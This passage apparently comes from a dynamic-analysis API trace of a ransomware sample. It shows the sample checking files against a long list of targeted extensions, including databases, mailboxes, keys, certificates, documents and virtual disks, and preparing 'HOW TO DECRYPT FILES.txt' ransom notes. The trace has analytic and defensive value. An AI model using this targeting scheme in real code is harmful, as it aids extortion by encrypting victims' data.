10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.myo") returned 0 [0070.326] lstrlenA (lpString="*.myo") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qbw") returned 0 [0070.326] lstrlenA (lpString="*.qbw") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qbb") returned 0 [0070.326] lstrlenA (lpString="*.qbb") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qbm") returned 0 [0070.326] lstrlenA (lpString="*.qbm") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qbo") returned 0 [0070.326] lstrlenA (lpString="*.qbo") returned 5 [0070.326] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qbx") returned 0 [0070.326] lstrlenA (lpString="*.qbx") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qba") returned 0 [0070.327] lstrlenA (lpString="*.qba") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qby") returned 0 [0070.327] lstrlenA (lpString="*.qby") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qbj") returned 0 [0070.327] lstrlenA (lpString="*.qbj") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.ofx") returned 0 [0070.327] lstrlenA (lpString="*.ofx") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.qif") returned 0 [0070.327] lstrlenA (lpString="*.qif") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mye") returned 0 [0070.327] lstrlenA (lpString="*.mye") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mbox") returned 0 [0070.327] lstrlenA (lpString="*.mbox") returned 6 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.eml") returned 0 [0070.327] lstrlenA (lpString="*.eml") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.pst") returned 0 [0070.327] lstrlenA (lpString="*.pst") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.ost") returned 0 [0070.327] lstrlenA (lpString="*.ost") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.idx") returned 0 [0070.327] lstrlenA (lpString="*.idx") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.dbx") returned 0 [0070.327] lstrlenA (lpString="*.dbx") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.sql") returned 0 [0070.327] lstrlenA (lpString="*.sql") returned 5 [0070.327] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mdb") returned 0 [0070.328] lstrlenA (lpString="*.mdb") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.fdb") returned 0 [0070.328] lstrlenA (lpString="*.fdb") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.wab") returned 0 [0070.328] lstrlenA (lpString="*.wab") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.dat") returned 0 [0070.328] lstrlenA (lpString="*.dat") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.txt") returned 0 [0070.328] lstrlenA (lpString="*.txt") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.328] lstrlenA (lpString="*.jpeg") returned 6 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.jpg") returned 0 [0070.328] lstrlenA (lpString="*.jpg") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.png") returned 0 [0070.328] lstrlenA (lpString="*.png") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.php") returned 0 [0070.328] lstrlenA (lpString="*.php") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.cs") returned 0 [0070.328] lstrlenA (lpString="*.cs") returned 4 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.cpp") returned 0 [0070.328] lstrlenA (lpString="*.cpp") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.rar") returned 0 [0070.328] lstrlenA (lpString="*.rar") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.zip") returned 0 [0070.328] lstrlenA (lpString="*.zip") returned 5 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.html") returned 0 [0070.328] lstrlenA (lpString="*.html") returned 6 [0070.328] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.htm") returned 0 [0070.329] lstrlenA (lpString="*.htm") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.329] lstrlenA (lpString="*.xlsx") returned 6 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.xls") returned 0 [0070.329] lstrlenA (lpString="*.xls") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mp4") returned 0 [0070.329] lstrlenA (lpString="*.mp4") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.ppt") returned 0 [0070.329] lstrlenA (lpString="*.ppt") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.pptx") returned 0 [0070.329] lstrlenA (lpString="*.pptx") returned 6 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.doc") returned 0 [0070.329] lstrlenA (lpString="*.doc") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.dot") returned 0 [0070.329] lstrlenA (lpString="*.dot") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.docx") returned 0 [0070.329] lstrlenA (lpString="*.docx") returned 6 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.7z") returned 0 [0070.329] lstrlenA (lpString="*.7z") returned 4 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.tar") returned 0 [0070.329] lstrlenA (lpString="*.tar") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.bz2") returned 0 [0070.329] lstrlenA (lpString="*.bz2") returned 5 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.gz") returned 0 [0070.329] lstrlenA (lpString="*.gz") returned 4 [0070.329] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mkv") returned 0 [0070.329] lstrlenA (lpString="*.mkv") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.eml") returned 0 [0070.330] lstrlenA (lpString="*.eml") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.msg") returned 0 [0070.330] lstrlenA (lpString="*.msg") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.edb") returned 0 [0070.330] lstrlenA (lpString="*.edb") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.accdb") returned 0 [0070.330] lstrlenA (lpString="*.accdb") returned 7 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.odb") returned 0 [0070.330] lstrlenA (lpString="*.odb") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.java") returned 0 [0070.330] lstrlenA (lpString="*.java") returned 6 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.asm") returned 0 [0070.330] lstrlenA (lpString="*.asm") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.pfx") returned 0 [0070.330] lstrlenA (lpString="*.pfx") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.pem") returned 0 [0070.330] lstrlenA (lpString="*.pem") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.p12") returned 0 [0070.330] lstrlenA (lpString="*.p12") returned 5 [0070.330] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.gpg") returned 0 [0070.331] lstrlenA (lpString="*.gpg") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.vsd") returned 0 [0070.331] lstrlenA (lpString="*.vsd") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.odg") returned 0 [0070.331] lstrlenA (lpString="*.odg") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.raw") returned 0 [0070.331] lstrlenA (lpString="*.raw") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.nef") returned 0 [0070.331] lstrlenA (lpString="*.nef") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.svg") returned 0 [0070.331] lstrlenA (lpString="*.svg") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.psd") returned 0 [0070.331] lstrlenA (lpString="*.psd") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.vmx") returned 0 [0070.331] lstrlenA (lpString="*.vmx") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.331] lstrlenA (lpString="*.vmdk") returned 6 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.vdi") returned 0 [0070.331] lstrlenA (lpString="*.vdi") returned 5 [0070.331] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.lay6") returned 0 [0070.331] lstrlenA (lpString="*.lay6") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.332] lstrlenA (lpString="*.mpeg") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.djvu") returned 0 [0070.332] lstrlenA (lpString="*.djvu") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.tiff") returned 0 [0070.332] lstrlenA (lpString="*.tiff") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.backup") returned 0 [0070.332] lstrlenA (lpString="*.backup") returned 8 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.pdf") returned 0 [0070.332] lstrlenA (lpString="*.pdf") returned 5 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.cert") returned 0 [0070.332] lstrlenA (lpString="*.cert") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.docm") returned 0 [0070.332] lstrlenA (lpString="*.docm") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.332] lstrlenA (lpString="*.xlsm") returned 6 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.dwg") returned 0 [0070.332] lstrlenA (lpString="*.dwg") returned 5 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.nd") returned 0 [0070.332] lstrlenA (lpString="*.nd") returned 4 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.tlg") returned 0 [0070.332] lstrlenA (lpString="*.tlg") returned 5 [0070.332] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.lgb") returned 0 [0070.333] lstrlenA (lpString="*.lgb") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mov") returned 0 [0070.333] lstrlenA (lpString="*.mov") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.xdw") returned 0 [0070.333] lstrlenA (lpString="*.xdw") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.ods") returned 0 [0070.333] lstrlenA (lpString="*.ods") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.wav") returned 0 [0070.333] lstrlenA (lpString="*.wav") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.mp3") returned 0 [0070.333] lstrlenA (lpString="*.mp3") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.aiff") returned 0 [0070.333] lstrlenA (lpString="*.aiff") returned 6 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.flac") returned 0 [0070.333] lstrlenA (lpString="*.flac") returned 6 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.m4a") returned 0 [0070.333] lstrlenA (lpString="*.m4a") returned 5 [0070.333] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini", pszSpec="*.csv") returned 0 [0070.333] lstrlenA (lpString="*.csv") returned 5 [0070.333] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.333] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.333] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.333] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.333] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.334] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini") returned="eula.ini" [0070.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" [0070.334] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="" [0070.334] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt" [0070.334] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\how to decrypt files.txt")) returned 0x20 [0070.334] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.ems") returned 0 [0070.334] lstrlenA (lpString="*.ems") returned 5 [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.db") returned 0 [0070.334] lstrlenA (lpString="*.db") returned 4 [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.dbf") returned 0 [0070.334] lstrlenA (lpString="*.dbf") returned 5 [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.myox") returned 0 [0070.334] lstrlenA (lpString="*.myox") returned 6 [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.myo") returned 0 [0070.334] lstrlenA (lpString="*.myo") returned 5 [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qbw") returned 0 [0070.334] lstrlenA (lpString="*.qbw") returned 5 [0070.334] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qbb") returned 0 [0070.334] lstrlenA (lpString="*.qbb") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qbm") returned 0 [0070.335] lstrlenA (lpString="*.qbm") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qbo") returned 0 [0070.335] lstrlenA (lpString="*.qbo") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qbx") returned 0 [0070.335] lstrlenA (lpString="*.qbx") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qba") returned 0 [0070.335] lstrlenA (lpString="*.qba") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qby") returned 0 [0070.335] lstrlenA (lpString="*.qby") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qbj") returned 0 [0070.335] lstrlenA (lpString="*.qbj") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.ofx") returned 0 [0070.335] lstrlenA (lpString="*.ofx") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.qif") returned 0 [0070.335] lstrlenA (lpString="*.qif") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.mye") returned 0 [0070.335] lstrlenA (lpString="*.mye") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.mbox") returned 0 [0070.335] lstrlenA (lpString="*.mbox") returned 6 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.eml") returned 0 [0070.335] lstrlenA (lpString="*.eml") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.pst") returned 0 [0070.335] lstrlenA (lpString="*.pst") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.ost") returned 0 [0070.335] lstrlenA (lpString="*.ost") returned 5 [0070.335] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.idx") returned 0 [0070.336] lstrlenA (lpString="*.idx") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.dbx") returned 0 [0070.336] lstrlenA (lpString="*.dbx") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.sql") returned 0 [0070.336] lstrlenA (lpString="*.sql") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.mdb") returned 0 [0070.336] lstrlenA (lpString="*.mdb") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.fdb") returned 0 [0070.336] lstrlenA (lpString="*.fdb") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.wab") returned 0 [0070.336] lstrlenA (lpString="*.wab") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.dat") returned 0 [0070.336] lstrlenA (lpString="*.dat") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.txt") returned 0 [0070.336] lstrlenA (lpString="*.txt") returned 5 [0070.336] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html", pszSpec="*.jpeg") returned 0 [0070.336] lstrlenA (lpString="*.jpeg") returned 6 [0070.336] PathMatchSpecA 